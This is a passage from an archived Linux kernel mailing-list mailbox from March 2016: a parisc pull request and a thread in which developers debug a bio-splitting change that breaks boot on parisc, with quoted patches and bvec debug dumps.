	id S1752672AbcCBRZN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Mar 2016 12:25:13 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:50524 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752046AbcCBRZM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Mar 2016 12:25:12 -0500
Original-Received: from ls3530.box ([92.203.46.178]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MIMUZ-1abSQi0TEt-0049l8; Wed, 02 Mar 2016 18:25:03
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:O1TTSaEsd+Wk8nhjDeoPtcD0/fc3HZhEP0HrWcFGuvcT98aLocn
 VcNOJZ/7swRUvPk6rUwkGOAoFts33pVLPebHyKnA4zAidOvTNuMHNMc1A7XRx8U0Y4NGKsH
 iKxd6H1jvq8j/DtPZIKrucOlA/0MNpGo1RGi5wusj3zyIQybR2hhEuDVeht4H612pbC7FUy
 j1a8dBbrzxlLZAOAJmN1A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:zA1dYG/GICk=:cNEUh8iAln8bna6QM4J4fe
 8krpUqViATm7YNnp0VoTBl1Pv6lz+rdIdkHjF/8K3BUbVCq2q1rp6mqDnmEWiY3kQBFxFCNFJ
 LXFIftPK0ftxFULZ6D0zK8RwHEGZZxMDy7QLcPOq5XW//wU56Puj+5g5qzONu+1md1zzghM/6
 SiuDRrb0yuWdQGPDRDp3+6sz2Y6LcUsuHapUOAoSXyXHg3RltfVHTk/M+jhA49pIeIjrWZCIG
 jOBC7hbFOtlm8oii7zd7FphrCPdXkan8J6isRhC02SS3URlDRH5eT5OgCxxn9QFKPH5Ru34HQ
 PMClsEIogVD8Jil9ZSgronaUy/yDqupKIxtB4XdUBtf++TAScJRu+f2XTm90OYeekdCRHNCWL
 jtENPFoTEYuW3dFUcknAElpFg0bkCAvZV5MORmnDDzP4SYuTDyT0KNCxqgaYDJth7FO+o/2CV
 MRxTivF/8gpAsua6dhw5/7F1Nu6l+iR4EzG2g4tlw0vdm+6aiKVueN5Sh/ehdlMg4JEnQ/ozM
 LHyCdm2W7eP/SOAtBszoeXq1oHYJaLrZBmViMQ/dCbjlHPHHD7lmNszzEsSg5KBZpcl6FPbo1
 XVRP8QVy1Dh7fAw2g3Z10kJT5xmout0gQpBo2swJ22MxU8eVT8feGODyYNHxwL4LG1Tm19ibV
 RihuhoJ6haQTXMaVz9yqVcdQ7oPpYBjmvotNggFzdjof2nrt26TsbP/rX5ndHhnU6L6nFeNfw
 WNcFmAy6g/zkjG5oRPS0a3Bchb+jcxOmvklMW+aUBJUZXWd5DpN2HlcbCco=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26515 gmane.linux.kernel:2167050
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26515>

Hi Linus,

please pull three patches for the parisc architecture for kernel v4.5 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.5-2

We wire up the copy_file_range syscall, fix two bugs in the parisc ptrace code
and have a trivial fix for floppy.h to clarify an expression with parentheses.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (3):
      parisc: Use parentheses around expression in floppy.h
      parisc: Fix ptrace syscall number and return value modification
      parisc: Wire up copy_file_range syscall

 arch/parisc/include/asm/floppy.h      |  2 +-
 arch/parisc/include/uapi/asm/unistd.h |  3 ++-
 arch/parisc/kernel/ptrace.c           | 16 +++++++++++-----
 arch/parisc/kernel/syscall.S          |  5 ++++-
 arch/parisc/kernel/syscall_table.S    |  1 +
 5 files changed, 19 insertions(+), 8 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: [BUG] "block: make generic_make_request handle arbitrarily
 sized bios" breaks boot on parisc-linux
Date: Wed, 09 Mar 2016 07:55:11 -0500
Lines: 120
Approved: news@gmane.org
Message-ID: <1457528111.2693.4.camel@HansenPartnership.com>
References: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net>
	 <CACVXFVOnff1sFfMH+zsoypuYwM4PokJkHeKhbxJYDDH6ZtVScg@mail.gmail.com>
	 <56CE2266.6010909@gmx.de> <FC3214D0-6247-449F-8372-14BC4D0C3887@bell.net>
	 <CACVXFVM5nLDFGcoo173sK4E3TC4k7c+=Fvin0eAxStAdwx8yXA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1457528128 6125 80.91.229.3 (9 Mar 2016 12:55:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Mar 2016 12:55:28 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-block@vger.kernel.org,
	Linux SCSI List <linux-scsi@vger.kernel.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	Kent Overstreet <kent.overstreet@gmail.com>
To: Ming Lei <tom.leiming@gmail.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-scsi-owner@vger.kernel.org Wed Mar 09 13:55:18 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1adde1-0008SG-9y
	for lnx-linux-scsi@plane.gmane.org; Wed, 09 Mar 2016 13:55:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932397AbcCIMzQ (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Wed, 9 Mar 2016 07:55:16 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:60700 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753536AbcCIMzO (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>); Wed, 9 Mar 2016 07:55:14 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 2CDF58EE2C6;
	Wed,  9 Mar 2016 04:55:13 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1457528113;
	bh=Gr41qwGnpDz4E9gqHsruJRabYo7FMXVrsZIolu2/NlA=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=bk8cnQyUKb5yrVqXTuWIAWC7OjBwJkbNfBRdR9559/2Ka9Y8XAgtR5LXSOxuPSepS
	 /G2J6TgTAMWGbPXhlR02uSmn9JtRU7aDxqYwBden8ViQK0sXAP+icM9lT4qpTas8rb
	 Ee/uS3vnDP3+eeN9G97BLA9Rw8Vn39dGyHrmZQZY=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id vPCFYar_C4RV; Wed,  9 Mar 2016 04:55:13 -0800 (PST)
Original-Received: from [192.168.100.206] (unknown [24.246.103.29])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 58DFE8EE1A4;
	Wed,  9 Mar 2016 04:55:12 -0800 (PST)
In-Reply-To: <CACVXFVM5nLDFGcoo173sK4E3TC4k7c+=Fvin0eAxStAdwx8yXA@mail.gmail.com>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:111664 gmane.linux.ports.parisc:26516
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/111664>

On Thu, 2016-02-25 at 11:38 +0800, Ming Lei wrote:
> On Thu, Feb 25, 2016 at 7:28 AM, John David Anglin <
> dave.anglin@bell.net> wrote:
> > On 2016-02-24, at 4:36 PM, Helge Deller wrote:
> > 
> > > Maybe Dave has more luck, otherwise I'll continue to try to get
> > > some info.
> > 
> > I tried your patch on the commit in linux-block which first failed
> > to boot.  As with Helge, the
> > system crashed and no useful data was output on console.  I then
> > applied following patch
> > to give some extra segments and tired again:
> > 
> > diff --git a/drivers/scsi/scsi_lib.c b/drivers/scsi/scsi_lib.c
> > index b1a2631..b421f03 100644
> > --- a/drivers/scsi/scsi_lib.c
> > +++ b/drivers/scsi/scsi_lib.c
> > @@ -595,6 +595,11 @@ static int scsi_alloc_sgtable(struct
> > scsi_data_buffer *sdb, int nents, bool mq)
> > 
> >         BUG_ON(!nents);
> > 
> > +       /* Provide extra entries in case of split.  */
> > +       nents += 8;
> > +       if (nents > SCSI_MAX_SG_SEGMENTS)
> > +               nents = SCSI_MAX_SG_SEGMENTS;
> > +
> 
> Yeah, this is needed for sake of safety.
> 
> >         if (mq) {
> >                 if (nents <= SCSI_MAX_SG_SEGMENTS) {
> >                         sdb->table.nents = nents;
> > 
> > The attached file shows the crash in first boot.  The second boot
> > was successful and various output
> > was generated by your check code.
> 
> From the following log(just select one simple, and looks all are
> similar) in
> 2nd boot, the bi_phys_segments is figured out as one by block core
> , which is wrong because the max segment size is 64k according to
> your investigation in the below link, but the whole req/bio is
> 192k(4k*48).
> 
>     http://www.spinics.net/lists/linux-parisc/msg06749.html
> 
> Looks weird, it shouldn't have happened because
> blk_bio_segment_split()
> does respect the max segment size limit.
> 
> BTW, what is the scsi driver for the device?
> 
> blk_rq_map_sg: merge bug: 3 1, extra_len 0, dma_drain 0
> check_bvec: dump bvec for 000000007e53c5f0(f:24490000, t:1)
>             0: 0 4096 245852 000000007e2c4c40
>             1: 0 4096 245853 000000007e2c4c40
>             2: 0 4096 245854 000000007e2c4c40
>             3: 0 4096 245855 000000007e2c4c40
>             4: 0 4096 245856 000000007e2c4c40
>             5: 0 4096 245857 000000007e2c4c40
>             6: 0 4096 245858 000000007e2c4c40
>             7: 0 4096 245859 000000007e2c4c40
>             8: 0 4096 245860 000000007e2c4c40
>             9: 0 4096 245861 000000007e2c4c40
>            10: 0 4096 245862 000000007e2c4c40
>            11: 0 4096 245863 000000007e2c4c40
>            12: 0 4096 245864 000000007e2c4c40
>            13: 0 4096 245865 000000007e2c4c40
>            14: 0 4096 245866 000000007e2c4c40
>            15: 0 4096 245867 000000007e2c4c40
>            16: 0 4096 245868 000000007e2c4c40
>            17: 0 4096 245869 000000007e2c4c40
>            18: 0 4096 245870 000000007e2c4c40
>            19: 0 4096 245871 000000007e2c4c40
>            20: 0 4096 245872 000000007e2c4c40
>            21: 0 4096 245873 000000007e2c4c40
>            22: 0 4096 245874 000000007e2c4c40
>            23: 0 4096 245875 000000007e2c4c40
>            24: 0 4096 245876 000000007e2c4c40
>            25: 0 4096 245877 000000007e2c4c40
>            26: 0 4096 245878 000000007e2c4c40
>            27: 0 4096 245879 000000007e2c4c40
>            28: 0 4096 245880 000000007e2c4c40
>            29: 0 4096 245881 000000007e2c4c40
>            30: 0 4096 245882 000000007e2c4c40
>            31: 0 4096 245883 000000007e2c4c40
>            32: 0 4096 245884 000000007e2c4c40
>            33: 0 4096 245885 000000007e2c4c40
>            34: 0 4096 245886 000000007e2c4c40
>            35: 0 4096 245887 000000007e2c4c40
>            36: 0 4096 245888 000000007e2c4c40
>            37: 0 4096 245889 000000007e2c4c40
>            38: 0 4096 245890 000000007e2c4c40
>            39: 0 4096 245891 000000007e2c4c40
>            40: 0 4096 245892 000000007e2c4c40
>            41: 0 4096 245893 000000007e2c4c40
>            42: 0 4096 245894 000000007e2c4c40
>            43: 0 4096 245895 000000007e2c4c40
>            44: 0 4096 245896 000000007e2c4c40
>            45: 0 4096 245897 000000007e2c4c40
>            46: 0 4096 245898 000000007e2c4c40
>            47: 0 4096 245899 000000007e2c4c40


We've provided all the information you asked for, what's the next step
on this, or do we have to unwind the bio splitting code with reverts
until it starts working?

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ming Lei <tom.leiming@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [BUG] "block: make generic_make_request handle arbitrarily sized
 bios" breaks boot on parisc-linux
Date: Wed, 9 Mar 2016 22:43:52 +0800
Lines: 136
Approved: news@gmane.org
Message-ID: <CACVXFVN4pj2fTrP7Lzqkw4QJHESuMBOYvg+0LbwXErSAy0yP=g@mail.gmail.com>
References: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net>
	<CACVXFVOnff1sFfMH+zsoypuYwM4PokJkHeKhbxJYDDH6ZtVScg@mail.gmail.com>
	<56CE2266.6010909@gmx.de>
	<FC3214D0-6247-449F-8372-14BC4D0C3887@bell.net>
	<CACVXFVM5nLDFGcoo173sK4E3TC4k7c+=Fvin0eAxStAdwx8yXA@mail.gmail.com>
	<1457528111.2693.4.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1457534645 24649 80.91.229.3 (9 Mar 2016 14:44:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Mar 2016 14:44:05 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>, linux-block@vger.kernel.org,
	Linux SCSI List <linux-scsi@vger.kernel.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	Kent Overstreet <kent.overstreet@gmail.com>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 09 15:43:56 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1adfL9-0007s6-3p
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 Mar 2016 15:43:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753684AbcCIOny (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Mar 2016 09:43:54 -0500
Original-Received: from mail-yk0-f182.google.com ([209.85.160.182]:33868 "EHLO
	mail-yk0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753636AbcCIOnx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Mar 2016 09:43:53 -0500
Original-Received: by mail-yk0-f182.google.com with SMTP id x17so21366338ykd.1;
        Wed, 09 Mar 2016 06:43:52 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=rgQuS7WWbZUNuprAEoRLsBjkGsMv3ffsvgl0Ku4g9jE=;
        b=XOqFK5COOPUzswHvIiqptw20s1ipuFazngBHw975O53hB0gsjoB/g0Z3eSmGChbxfN
         PXz077b4HBsgV1vh+VLS/H3Jp4kb8N87z+ZhVaCqhAc0Vp2n9U9mDl25XgnrE6AoMNxY
         zWzwKI8kfGVkLyZ2Z3aGgyP+I9rdvG53oI/61zO5BZhOmPVzAbMSsl9OrTxRZBDp4OTj
         bRm0Mut8FjqdHSZN72pUt9X58qm8thOZyoZPxOGvzgX/5Hh9Y7o0iMy+eEa+g4HHz3na
         CcxPl4w4yjRqE8G7n0zk+f1M7560WuERcY7mc+1nh62OtUgQkwb/UJNuyh4MVTBlQ9sE
         b7SA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=rgQuS7WWbZUNuprAEoRLsBjkGsMv3ffsvgl0Ku4g9jE=;
        b=j2ytNeffDQuH2C5SOTCFsG78f95hd9N8SNgHyMthzs1Vy5j8BSKJOje9jCzbYA6g4l
         eJYv3pMdXvvpSs7xkiAV0+P3SWlZmfR/HQXInRlWIrCezCirdurNURAn4RwOc5egNiM8
         DHuFhpGlRy2XynvhzD45ZDcw73lbd7lShqhAG6ukOhOc/rDdFVbyBOq2e7hyvsbn/d9z
         su1IBharSwgkH5q5Cl+HwOw+R4gp3D9qvxLEotrbvaf7RpTUe9C5FARAByDGeEaXcJdl
         SOtYxV2YSi6H4txdajFo+73PpGNbVHS2JlrcjdCrshsOjAkvgn+gtK2K1R1hnSIud2W4
         jnbA==
X-Gm-Message-State: AD7BkJK3wAi44yySJthYaDTOq7M3NUBIFq79H2U3nF23kZyHu7m1o5OEsOIKnBIEhQ7ZJ/fetWGMnK05PyZewg==
X-Received: by 10.37.74.202 with SMTP id x193mr19339910yba.24.1457534632197;
 Wed, 09 Mar 2016 06:43:52 -0800 (PST)
Original-Received: by 10.37.207.8 with HTTP; Wed, 9 Mar 2016 06:43:52 -0800 (PST)
In-Reply-To: <1457528111.2693.4.camel@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26517 gmane.linux.scsi:111675
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26517>

On Wed, Mar 9, 2016 at 8:55 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Thu, 2016-02-25 at 11:38 +0800, Ming Lei wrote:
>> On Thu, Feb 25, 2016 at 7:28 AM, John David Anglin <
>> dave.anglin@bell.net> wrote:
>> > On 2016-02-24, at 4:36 PM, Helge Deller wrote:
>> >
>> > > Maybe Dave has more luck, otherwise I'll continue to try to get
>> > > some info.
>> >
>> > I tried your patch on the commit in linux-block which first failed
>> > to boot.  As with Helge, the
>> > system crashed and no useful data was output on console.  I then
>> > applied following patch
>> > to give some extra segments and tired again:
>> >
>> > diff --git a/drivers/scsi/scsi_lib.c b/drivers/scsi/scsi_lib.c
>> > index b1a2631..b421f03 100644
>> > --- a/drivers/scsi/scsi_lib.c
>> > +++ b/drivers/scsi/scsi_lib.c
>> > @@ -595,6 +595,11 @@ static int scsi_alloc_sgtable(struct
>> > scsi_data_buffer *sdb, int nents, bool mq)
>> >
>> >         BUG_ON(!nents);
>> >
>> > +       /* Provide extra entries in case of split.  */
>> > +       nents += 8;
>> > +       if (nents > SCSI_MAX_SG_SEGMENTS)
>> > +               nents = SCSI_MAX_SG_SEGMENTS;
>> > +
>>
>> Yeah, this is needed for sake of safety.
>>
>> >         if (mq) {
>> >                 if (nents <= SCSI_MAX_SG_SEGMENTS) {
>> >                         sdb->table.nents = nents;
>> >
>> > The attached file shows the crash in first boot.  The second boot
>> > was successful and various output
>> > was generated by your check code.
>>
>> From the following log(just select one simple, and looks all are
>> similar) in
>> 2nd boot, the bi_phys_segments is figured out as one by block core
>> , which is wrong because the max segment size is 64k according to
>> your investigation in the below link, but the whole req/bio is
>> 192k(4k*48).
>>
>>     http://www.spinics.net/lists/linux-parisc/msg06749.html
>>
>> Looks weird, it shouldn't have happened because
>> blk_bio_segment_split()
>> does respect the max segment size limit.
>>
>> BTW, what is the scsi driver for the device?
>>
>> blk_rq_map_sg: merge bug: 3 1, extra_len 0, dma_drain 0
>> check_bvec: dump bvec for 000000007e53c5f0(f:24490000, t:1)
>>             0: 0 4096 245852 000000007e2c4c40
>>             1: 0 4096 245853 000000007e2c4c40
>>             2: 0 4096 245854 000000007e2c4c40
>>             3: 0 4096 245855 000000007e2c4c40
>>             4: 0 4096 245856 000000007e2c4c40
>>             5: 0 4096 245857 000000007e2c4c40
>>             6: 0 4096 245858 000000007e2c4c40
>>             7: 0 4096 245859 000000007e2c4c40
>>             8: 0 4096 245860 000000007e2c4c40
>>             9: 0 4096 245861 000000007e2c4c40
>>            10: 0 4096 245862 000000007e2c4c40
>>            11: 0 4096 245863 000000007e2c4c40
>>            12: 0 4096 245864 000000007e2c4c40
>>            13: 0 4096 245865 000000007e2c4c40
>>            14: 0 4096 245866 000000007e2c4c40
>>            15: 0 4096 245867 000000007e2c4c40
>>            16: 0 4096 245868 000000007e2c4c40
>>            17: 0 4096 245869 000000007e2c4c40
>>            18: 0 4096 245870 000000007e2c4c40
>>            19: 0 4096 245871 000000007e2c4c40
>>            20: 0 4096 245872 000000007e2c4c40
>>            21: 0 4096 245873 000000007e2c4c40
>>            22: 0 4096 245874 000000007e2c4c40
>>            23: 0 4096 245875 000000007e2c4c40
>>            24: 0 4096 245876 000000007e2c4c40
>>            25: 0 4096 245877 000000007e2c4c40
>>            26: 0 4096 245878 000000007e2c4c40
>>            27: 0 4096 245879 000000007e2c4c40
>>            28: 0 4096 245880 000000007e2c4c40
>>            29: 0 4096 245881 000000007e2c4c40
>>            30: 0 4096 245882 000000007e2c4c40
>>            31: 0 4096 245883 000000007e2c4c40
>>            32: 0 4096 245884 000000007e2c4c40
>>            33: 0 4096 245885 000000007e2c4c40
>>            34: 0 4096 245886 000000007e2c4c40
>>            35: 0 4096 245887 000000007e2c4c40
>>            36: 0 4096 245888 000000007e2c4c40
>>            37: 0 4096 245889 000000007e2c4c40
>>            38: 0 4096 245890 000000007e2c4c40
>>            39: 0 4096 245891 000000007e2c4c40
>>            40: 0 4096 245892 000000007e2c4c40
>>            41: 0 4096 245893 000000007e2c4c40
>>            42: 0 4096 245894 000000007e2c4c40
>>            43: 0 4096 245895 000000007e2c4c40
>>            44: 0 4096 245896 000000007e2c4c40
>>            45: 0 4096 245897 000000007e2c4c40
>>            46: 0 4096 245898 000000007e2c4c40
>>            47: 0 4096 245899 000000007e2c4c40
>
>
> We've provided all the information you asked for, what's the next step
> on this, or do we have to unwind the bio splitting code with reverts
> until it starts working?

John, Helge, and I did discuss the problem for a while privately, and looks
it is related with compiler.  Last time, I sent one patch which can make the
issue disappear, but the main change is just invovled with the below:

 struct bio_vec {
     struct page    *bv_page;
-    unsigned int    bv_len;
+    unsigned int    bv_seg:8;
+    unsigned int    bv_len:24;
     unsigned int    bv_offset;
 };

Maybe John and Helge have some update recently?

The logic in blk_bio_segment_split() is correct, and it does respect the max
segment size limit.

Thanks,
Ming Lei
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: [BUG] "block: make generic_make_request handle arbitrarily sized
 bios" breaks boot on parisc-linux
Date: Wed, 9 Mar 2016 10:15:54 -0500
Lines: 75
Approved: news@gmane.org
Message-ID: <56E03E2A.5020208@bell.net>
References: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net>
 <CACVXFVOnff1sFfMH+zsoypuYwM4PokJkHeKhbxJYDDH6ZtVScg@mail.gmail.com>
 <56CE2266.6010909@gmx.de> <FC3214D0-6247-449F-8372-14BC4D0C3887@bell.net>
 <CACVXFVM5nLDFGcoo173sK4E3TC4k7c+=Fvin0eAxStAdwx8yXA@mail.gmail.com>
 <1457528111.2693.4.camel@HansenPartnership.com>
 <CACVXFVN4pj2fTrP7Lzqkw4QJHESuMBOYvg+0LbwXErSAy0yP=g@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1457536564 29131 80.91.229.3 (9 Mar 2016 15:16:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Mar 2016 15:16:04 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-block@vger.kernel.org,
	Linux SCSI List <linux-scsi@vger.kernel.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	Kent Overstreet <kent.overstreet@gmail.com>
To: Ming Lei <tom.leiming@gmail.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-scsi-owner@vger.kernel.org Wed Mar 09 16:15:58 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1adfq9-0001Js-VM
	for lnx-linux-scsi@plane.gmane.org; Wed, 09 Mar 2016 16:15:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932898AbcCIPP4 (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Wed, 9 Mar 2016 10:15:56 -0500
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:6322 "EHLO
	torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S932651AbcCIPP4 (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>); Wed, 9 Mar 2016 10:15:56 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20160309151554.TIKF22640.torfep01.bell.net@torspm02.bell.net>;
          Wed, 9 Mar 2016 10:15:54 -0500
Original-Received: from [192.168.0.114] (really [65.93.108.221])
          by torspm02.bell.net with ESMTP
          id <20160309151554.CAF18724.torspm02.bell.net@[192.168.0.114]>;
          Wed, 9 Mar 2016 10:15:54 -0500
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.6.0
In-Reply-To: <CACVXFVN4pj2fTrP7Lzqkw4QJHESuMBOYvg+0LbwXErSAy0yP=g@mail.gmail.com>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020201.56E03E2A.02AD,ss=1,re=0.000,fgs=0
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:111677 gmane.linux.ports.parisc:26518
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/111677>

On 2016-03-09 9:43 AM, Ming Lei wrote:
>> We've provided all the information you asked for, what's the next step
>> >on this, or do we have to unwind the bio splitting code with reverts
>> >until it starts working?
> John, Helge, and I did discuss the problem for a while privately, and looks
> it is related with compiler.  Last time, I sent one patch which can make the
> issue disappear, but the main change is just invovled with the below:
>
>   struct bio_vec {
>       struct page    *bv_page;
> -    unsigned int    bv_len;
> +    unsigned int    bv_seg:8;
> +    unsigned int    bv_len:24;
>       unsigned int    bv_offset;
>   };
>
> Maybe John and Helge have some update recently?
>
> The logic in blk_bio_segment_split() is correct, and it does respect the max
> segment size limit.
Helge has found that tagging blk_bio_segment_split() with "__attribute__ 
((optimize("O0")))"
makes the issue disappear.  The bug remains if one just adds bv_len to 
the struct without the
bit fields.  Maybe problem is evident from following output which I sent 
to Ming and Helge
last weekend?

blk_rq_map_sg: merge bug: 3 2, extra_len 0, dma_drain 0
check_bvec: dump bvec for 000000007e4efdc0(f:24490000, t:1)
             0: 0 4096 246503 000000007e4a4f00(0, 94208, 1)
             1: 0 4096 246504 000000007e4a4f00(0, 94208, 1)
             2: 0 4096 246505 000000007e4a4f00(0, 94208, 1)
             3: 0 4096 246506 000000007e4a4f00(0, 94208, 1)
             4: 0 4096 246538 000000007e4a4f00(0, 94208, 2)
             5: 0 4096 246539 000000007e4a4f00(0, 94208, 2)
             6: 0 4096 246540 000000007e4a4f00(0, 94208, 2)
             7: 0 4096 246541 000000007e4a4f00(0, 94208, 2)
             8: 0 4096 246542 000000007e4a4f00(0, 94208, 2)
             9: 0 4096 246543 000000007e4a4f00(0, 94208, 2)
            10: 0 4096 246544 000000007e4a4f00(0, 94208, 2)
            11: 0 4096 246545 000000007e4a4f00(0, 94208, 2)
            12: 0 4096 246546 000000007e4a4f00(0, 94208, 2)
            13: 0 4096 246547 000000007e4a4f00(0, 94208, 2)
            14: 0 4096 246548 000000007e4a4f00(0, 94208, 2)
            15: 0 4096 246549 000000007e4a4f00(0, 94208, 2)
            16: 0 4096 246550 000000007e4a4f00(0, 94208, 2)
            17: 0 4096 246551 000000007e4a4f00(0, 94208, 2)
            18: 0 4096 246552 000000007e4a4f00(0, 94208, 2)
            19: 0 4096 246553 000000007e4a4f00(0, 94208, 2)
